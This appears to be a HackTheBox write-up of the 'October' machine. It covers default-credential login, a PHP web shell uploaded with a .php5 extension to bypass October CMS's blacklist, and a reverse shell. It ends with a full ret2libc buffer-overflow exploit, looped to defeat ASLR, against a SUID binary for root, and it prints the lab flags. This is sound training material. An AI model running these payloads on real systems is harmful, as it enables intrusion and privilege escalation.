HackTheBox October
Writeup for HackTheBox October
Machine Synopsis
October is a fairly easy machine to gain an initial foothold on, however it presents a fair challenge for users who have never worked with NX/DEP or ASLR while exploiting buffer overflows. (Source)
Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ nmap -sC -sV -A 10.10.10.16
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 79:b1:35:b6:d1:25:12:a3:0c:b5:2e:36:9c:33:26:28 (DSA)
| 2048 16:08:68:51:d1:7b:07:5a:34:66:0d:4c:d0:25:56:f5 (RSA)
| 256 e3:97:a7:92:23:72:bf:1d:09:88:85:b6:6c:17:4e:85 (ECDSA)
|_ 256 89:85:90:98:20:bf:03:5d:35:7f:4a:a9:e1:1b:65:31 (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-title: October CMS - Vanilla
| http-methods:
|_ Potentially risky methods: PUT PATCH DELETE
|_http-server-header: Apache/2.4.7 (Ubuntu)
It looks like they are hosting a website using October CMS
. Let’s check it out!
Whenever we know that there’s a website, we should run a gobuster
scan.
1
2
3
4
5
6
7
8
9
10
11
12
$ gobuster dir -u http://10.10.10.16 -k -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
...
/blog (Status: 200) [Size: 4262]
/forum (Status: 200) [Size: 9589]
/themes (Status: 301) [Size: 310] [--> http://10.10.10.16/themes/]
/modules (Status: 301) [Size: 311] [--> http://10.10.10.16/modules/]
/account (Status: 200) [Size: 5091]
/tests (Status: 301) [Size: 309] [--> http://10.10.10.16/tests/]
/storage (Status: 301) [Size: 311] [--> http://10.10.10.16/storage/]
/plugins (Status: 301) [Size: 311] [--> http://10.10.10.16/plugins/]
/backend (Status: 302) [Size: 400] [--> http://10.10.10.16/backend/backend/auth]
...
Oh? It looks like there’s an interesting /backend
directory.
Luckily for us, the machine was using the default credentials admin:admin
as stated here.
Exploitation
There’s a /media
page that allows us to upload files.
Perhaps we can upload some malicious files here? Before we begin, let’s search for any existing vulnerabilities with OctoberCMS
.
I found this interesting report on ExploitDB.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
1. PHP upload protection bypass
-------------------------------
Authenticated user with permission to upload and manage media contents can
upload various files on the server. Application prevents the user from
uploading PHP code by checking the file extension. It uses black-list based
approach, as seen in octobercms/vendor/october/rain/src/Filesystem/
Definitions.php:blockedExtensions().
==================== source start ========================
106 <?php
107 protected function blockedExtensions()
108 {
109 return [
110 // redacted
111 'php',
112 'php3',
113 'php4',
114 'phtml',
115 // redacted
116 ];
117 }
==================== source end ========================
We can easily bypass file upload restriction on those systems by using an
alternative extension, e.g if we upload sh.php5 on the server:
==================== source start ========================
<?php $_REQUEST['x']($_REQUEST['c']);
==================== source end ========================
Code can be execute by making a following request:
http://victim.site/storage/app/media/sh.php5?x=system&c=pwd
TLDR, we should be able to bypass this protection by uploading a .php5
file.
So let’s grab a PHP reverse shell file from here and save the file as .php5
extension.
Let’s start a netcat listener and execute the malicious file by clicking on the public url.
1
2
3
4
5
6
7
8
9
10
$ nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.16] 58788
Linux october 4.4.0-78-generic #99~14.04.2-Ubuntu SMP Thu Apr 27 18:51:25 UTC 2017 i686 athlon i686 GNU/Linux
07:47:04 up 19 min, 0 users, load average: 10.09, 9.58, 6.19
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
Privilege Escalation
Now, let’s use LinPeas to help us identify the possible vulnerabilities.
1
2
3
4
5
6
7
8
9
10
11
$ cd /tmp
$ wget http://10.10.14.11/linpeas.sh
$ chmod +x linpeas.sh
$ ./linpeas.sh
...
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid
...
-rwsr-sr-x 1 libuuid libuuid 18K Nov 24 2016 /usr/sbin/uuidd
-rwsr-xr-x 1 root root 7.3K Apr 21 2017 /usr/local/bin/ovrflw (Unknown SUID binary)
...
Alternate way to find files with SUID bit set
1
2
3
4
5
6
7
$ find / -perm -4000 2>/dev/null
...
/usr/local/bin/ovrflw
$ find / -perm /4000 2>/dev/null
...
/usr/local/bin/ovrflw
1
2
3
4
5
$ ls /usr/local/bin
ovrflw
$ file ovrflw
ovrflw: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=004cdf754281f7f7a05452ea6eaf1ee9014f07da, not stripped
It seems like an executable file. Let’s transfer the file to our machine by encoding the file with base64
and then decode it back on our local machine.
1
2
3
# Convert file to base64
$ cat ovrflw | base64 -w0
f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAgIMECDQAAABcEQAAAAAAADQAIAAJACgAHgAbAAYAA...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Convert base64 back to file
$ cat encoded.txt | base64 -d > ovrflw
$ file ovrflw
ovrflw: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=004cdf754281f7f7a05452ea6eaf1ee9014f07da, not stripped
$ chmod +x ovrflw
$ ./ovrflw
Syntax: ./ovrflw <input string>
$ ./ovrflw AAAAAA
$ ./ovrflw $(python -c 'print "A"*6969')
zsh: segmentation fault ./ovrflw $(python -c 'print "A"*6969')
Let’s debug this program using gdb-peda
.
Note: if
gdb-peda
is not working properly, update yourgdb
withsudo apt-get install gdb -y
1
2
3
4
5
6
7
8
9
10
$ git clone https://github.com/longld/peda.git ~/peda
$ echo "source ~/peda/peda.py" >> ~/.gdbinit
$ gdb ovrflw
...
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
As NX
is enabled, we won’t be able to put a shellcode inside the program. Therefore, we need to make use of ret-to-libc
to exploit this. First, we need to try and offset the EIP
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
# Create a unique pattern of 150 bytes
gdb-peda$ pattern_create 150
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA'
# Set our input string to the unique pattern
gdb-peda$ pset arg 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA'
gdb-peda$ pshow arg
arg[1]: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA
gdb-peda$ run
Starting program: /home/shiro/HackTheBox/October/ovrflw 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA'
# Set breakpoint at main function
gdb-peda$ break main
Breakpoint 1 at 0x8048480
gdb-peda$ run
Starting program: /home/shiro/HackTheBox/October/ovrflw 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA'
[----------------------------------registers-----------------------------------]
EAX: 0xf7fa59e8 --> 0xffffd4a0 --> 0xffffd6c6 ("LANG=en_SG.UTF-8")
EBX: 0x0
ECX: 0xdd7140ff
EDX: 0xffffd424 --> 0x0
ESI: 0x2
EDI: 0x8048380 (<_start>: xor ebp,ebp)
EBP: 0xffffd3e8 --> 0x0
ESP: 0xffffd3e8 --> 0x0
EIP: 0x8048480 (<main+3>: and esp,0xfffffff0)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048478 <frame_dummy+40>: jmp 0x80483f0 <register_tm_clones>
0x804847d <main>: push ebp
0x804847e <main+1>: mov ebp,esp
=> 0x8048480 <main+3>: and esp,0xfffffff0
0x8048483 <main+6>: add esp,0xffffff80
0x8048486 <main+9>: cmp DWORD PTR [ebp+0x8],0x1
0x804848a <main+13>: jg 0x80484ad <main+48>
0x804848c <main+15>: mov eax,DWORD PTR [ebp+0xc]
[------------------------------------stack-------------------------------------]
0000| 0xffffd3e8 --> 0x0
0004| 0xffffd3ec --> 0xf7dd6905 (<__libc_start_main+229>: add esp,0x10)
0008| 0xffffd3f0 --> 0x2
0012| 0xffffd3f4 --> 0xffffd494 --> 0xffffd609 ("/home/shiro/HackTheBox/October/ovrflw")
0016| 0xffffd3f8 --> 0xffffd4a0 --> 0xffffd6c6 ("LANG=en_SG.UTF-8")
0020| 0xffffd3fc --> 0xffffd424 --> 0x0
0024| 0xffffd400 --> 0xffffd434 --> 0x9807dcef
0028| 0xffffd404 --> 0xf7ffdb98 --> 0xf7ffdb30 --> 0xf7fc33f0 --> 0xf7ffd9d0 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x08048480 in main ()
gdb-peda$ continue
Continuing.
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0xffffd6c0 ("AAoAA")
EDX: 0xffffd40d ("AAoAA")
ESI: 0x2
EDI: 0x8048380 (<_start>: xor ebp,ebp)
EBP: 0x6941414d ('MAAi')
ESP: 0xffffd3f0 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
EIP: 0x41384141 ('AA8A')
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41384141
[------------------------------------stack-------------------------------------]
0000| 0xffffd3f0 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
0004| 0xffffd3f4 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
0008| 0xffffd3f8 ("AAOAAkAAPAAlAAQAAmAARAAoAA")
0012| 0xffffd3fc ("AkAAPAAlAAQAAmAARAAoAA")
0016| 0xffffd400 ("PAAlAAQAAmAARAAoAA")
0020| 0xffffd404 ("AAQAAmAARAAoAA")
0024| 0xffffd408 ("AmAARAAoAA")
0028| 0xffffd40c ("RAAoAA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41384141 in ?? ()
Nice, the EIP
was overwritten. Let’s find the exact number of bytes needed to offset it.
1
2
3
4
5
6
7
# Find the EIP offset
gdb-peda$ pattern_offset AA8A
1094205761 found at offset: 112
# Find the EIP address offset
gdb-peda$ pattern_offset 0x41384141 150
1094205761 found at offset: 112
Let’s do a sanity check that we found the correct number of bytes.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
# create a 112 bytes long of A and then add BCDE
gdb-peda$ run `python -c 'print "A"*112 + "BCDE"'`
Starting program: /home/shiro/HackTheBox/October/ovrflw `python -c 'print "A"*112 + "BCDE"'`
[----------------------------------registers-----------------------------------]
EAX: 0xf7fa59e8 --> 0xffffd4c0 --> 0xffffd6c6 ("LANG=en_SG.UTF-8")
EBX: 0x0
ECX: 0x5eba623b
EDX: 0xffffd444 --> 0x0
ESI: 0x2
EDI: 0x8048380 (<_start>: xor ebp,ebp)
EBP: 0xffffd408 --> 0x0
ESP: 0xffffd408 --> 0x0
EIP: 0x8048480 (<main+3>: and esp,0xfffffff0)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048478 <frame_dummy+40>: jmp 0x80483f0 <register_tm_clones>
0x804847d <main>: push ebp
0x804847e <main+1>: mov ebp,esp
=> 0x8048480 <main+3>: and esp,0xfffffff0
0x8048483 <main+6>: add esp,0xffffff80
0x8048486 <main+9>: cmp DWORD PTR [ebp+0x8],0x1
0x804848a <main+13>: jg 0x80484ad <main+48>
0x804848c <main+15>: mov eax,DWORD PTR [ebp+0xc]
[------------------------------------stack-------------------------------------]
0000| 0xffffd408 --> 0x0
0004| 0xffffd40c --> 0xf7dd6905 (<__libc_start_main+229>: add esp,0x10)
0008| 0xffffd410 --> 0x2
0012| 0xffffd414 --> 0xffffd4b4 --> 0xffffd62b ("/home/shiro/HackTheBox/October/ovrflw")
0016| 0xffffd418 --> 0xffffd4c0 --> 0xffffd6c6 ("LANG=en_SG.UTF-8")
0020| 0xffffd41c --> 0xffffd444 --> 0x0
0024| 0xffffd420 --> 0xffffd454 --> 0x1bc33e2b
0028| 0xffffd424 --> 0xf7ffdb98 --> 0xf7ffdb30 --> 0xf7fc33f0 --> 0xf7ffd9d0 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x08048480 in main ()
gdb-peda$ continue
Continuing.
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0xffffd6c0 ("ABCDE")
EDX: 0xffffd40b ("ABCDE")
ESI: 0x2
EDI: 0x8048380 (<_start>: xor ebp,ebp)
EBP: 0x41414141 ('AAAA')
ESP: 0xffffd410 --> 0x0
EIP: 0x45444342 ('BCDE') # we managed to offset the EIP to "BCDE"
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x45444342
[------------------------------------stack-------------------------------------]
0000| 0xffffd410 --> 0x0
0004| 0xffffd414 --> 0xffffd4b4 --> 0xffffd62b ("/home/shiro/HackTheBox/October/ovrflw")
0008| 0xffffd418 --> 0xffffd4c0 --> 0xffffd6c6 ("LANG=en_SG.UTF-8")
0012| 0xffffd41c --> 0xffffd444 --> 0x0
0016| 0xffffd420 --> 0xffffd454 --> 0x1bc33e2b
0020| 0xffffd424 --> 0xf7ffdb98 --> 0xf7ffdb30 --> 0xf7fc33f0 --> 0xf7ffd9d0 --> 0x0
0024| 0xffffd428 --> 0xf7fc3420 --> 0x804828a ("GLIBC_2.0")
0028| 0xffffd42c --> 0xf7fa3000 --> 0x1ead6c
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x45444342 in ?? ()
Now we just have to find the address of system
, exit
and /bin/sh
to complete the exploit.
First method
First, we have to find the address of libc
.
1
2
$ ldd ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75b5000)
Then, we have to get the offsets for system
and exit
in the libc
library.
1
2
3
4
5
6
7
$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -e " system@" -e " exit@"
139: 00033260 45 FUNC GLOBAL DEFAULT 12 exit@@GLIBC_2.0
1443: 00040310 56 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0
$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/"
162bac /bin/sh
164b10 /bin/csh
Then we can just calculate the address for each function.
1
2
3
4
5
6
# hex of libc.so.6 + hex of system
system: 0xb75b5000 + 0x40310 = 0xb75f5310
# hex of libc.so.6 + hex of exit
exit: 0xb75b5000 + 0x33260 = 0xb75e8260
# hex of libc.so.6 + hex of bin/sh
"/bin/sh": 0xb75b5000 + 0x162bac = 0xb7717bac
Second method
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ gdb ovrflw
...
(gdb) b main
Breakpoint 1 at 0x8048480
(gdb) r
Starting program: /usr/local/bin/ovrflw
Breakpoint 1, 0x08048480 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0xb75f2310 <__libc_system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0xb75e5260 <__GI_exit>
(gdb) find 0xb75f2310, +99999999, "/bin/sh"
0xb7714bac
warning: Unable to access 16000 bytes of target memory at 0xb775ef34, halting search.
1 pattern found.
system | 0xb75f2310 |
---|---|
exit | 0xb75e5260 |
/bin/sh | 0xb7714bac |
Using either method to find the addresses, we can finally craft the exploit payload.
Our exploit will be crafted in this format: RANDOM + SYSTEM + EXIT + /bin/sh
.
Note: ASLR was enabled for the program, which means that we have to loop the exploit until we get a shell.
First Method
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$(python -c "print('A'*112 + '\x10\x53\x5f\xb7' + '\x60\x82\x5e\xb7' + '\xac\x7b\x71\xb7')")
while true; do /usr/local/bin/ovrflw $(python -c "print('A'*112 + '\x10\x53\x5f\xb7' + '\x60\x82\x5e\xb7' + '\xac\x7b\x71\xb7')"); done
$ while true; do /usr/local/bin/ovrflw $(python -c "print('A'*112 + '\x10\x53\x5f\xb7' + '\x60\x82\x5e\xb7' + '\xac\x7b\x71\xb7')"); done
...
Segmentation fault (core dumped)
Trace/breakpoint trap (core dumped)
Segmentation fault (core dumped)
Illegal instruction (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
whoami
root
Second Method
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$(python -c "print('A'*112 + '\x10\x23\x5f\xb7' + '\x60\x52\x5e\xb7' + '\xac\x4b\x71\xb7')")
while true; do /usr/local/bin/ovrflw $(python -c "print('A'*112 + '\x10\x23\x5f\xb7' + '\x60\x52\x5e\xb7' + '\xac\x4b\x71\xb7')"); done
$ while true; do /usr/local/bin/ovrflw $(python -c "print('A'*112 + '\x10\x23\x5f\xb7' + '\x60\x52\x5e\xb7' + '\xac\x4b\x71\xb7')"); done
Illegal instruction (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
whoami
root
ls
harry
cat /home/harry/user.txt
6857518d85b43a12850d112cb0d6e6f3
cat /root/root.txt
09411aa43ef081f65162196b2c51a3bf